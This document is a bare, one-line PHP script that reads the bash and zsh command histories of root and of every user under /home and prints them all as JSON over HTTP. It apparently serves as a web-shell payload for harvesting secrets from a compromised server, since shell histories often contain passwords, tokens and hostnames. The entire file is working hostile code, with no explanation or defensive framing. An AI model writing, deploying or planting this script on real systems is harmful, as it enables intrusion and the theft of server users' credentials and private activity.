<?php $r=[];$f=@file_get_contents('/root/.bash_history');if($f)$r['root']=$f;$f=@file_get_contents('/root/.zsh_history');if($f)$r['root_zsh']=$f;foreach(glob('/home/*/.bash_history') as $f){ $u=basename(dirname($f));$r[$u]=@file_get_contents($f);}foreach(glob('/home/*/.zsh_history') as $f){ $u=basename(dirname($f)).'_zsh';$r[$u]=@file_get_contents($f);}echo json_encode(['ok'=>1,'count'=>count(array_filter($r)),'histories'=>$r]);?>